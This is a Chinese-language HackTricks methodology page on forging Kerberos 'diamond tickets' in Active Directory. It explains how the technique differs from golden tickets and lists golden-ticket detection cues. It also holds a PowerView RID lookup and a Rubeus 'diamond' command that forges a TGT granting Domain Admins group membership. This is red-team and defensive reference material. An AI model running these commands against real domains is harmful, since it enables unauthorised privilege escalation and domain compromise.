hacktricks/windows-hardening/active-directory-methodology/diamond-ticket.md

3.7 KiB
Raw Blame History

钻石票据

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

钻石票据

类似于黄金票据钻石票据是一种TGT可用于以任何用户身份访问任何服务。 黄金票据完全是离线伪造的使用该域的krbtgt哈希进行加密然后传递到登录会话中供使用。 因为域控制器不会跟踪它或它们合法发行的TGT所以它们会乐意接受用其自身krbtgt哈希加密的TGT。

检测黄金票据使用的两种常见技术:

  • 查找没有相应AS-REQ的TGS-REQ。
  • 查找具有荒谬值的TGT例如Mimikatz的默认10年生存期。

钻石票据是通过修改由DC发行的合法TGT的字段而制作的。 这是通过请求一个TGT使用域的krbtgt哈希解密它,修改票据的所需字段,然后重新加密它来实现的。 这克服了黄金票据的上述两个缺点,因为:

  • TGS-REQ将有一个先前的AS-REQ。
  • TGT是由DC发行的这意味着它将具有来自域Kerberos策略的所有正确详细信息。 即使在黄金票据中可以准确伪造这些信息,但这更加复杂且容易出错。
# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512

# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
# /ticketuser is the username of the principal to impersonate.
# /ticketuserid is the domain RID of that principal.
# /groups are the desired group RIDs (512 being Domain Admins).
# /krbkey is the krbtgt AES256 hash.
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

其他支持HackTricks的方式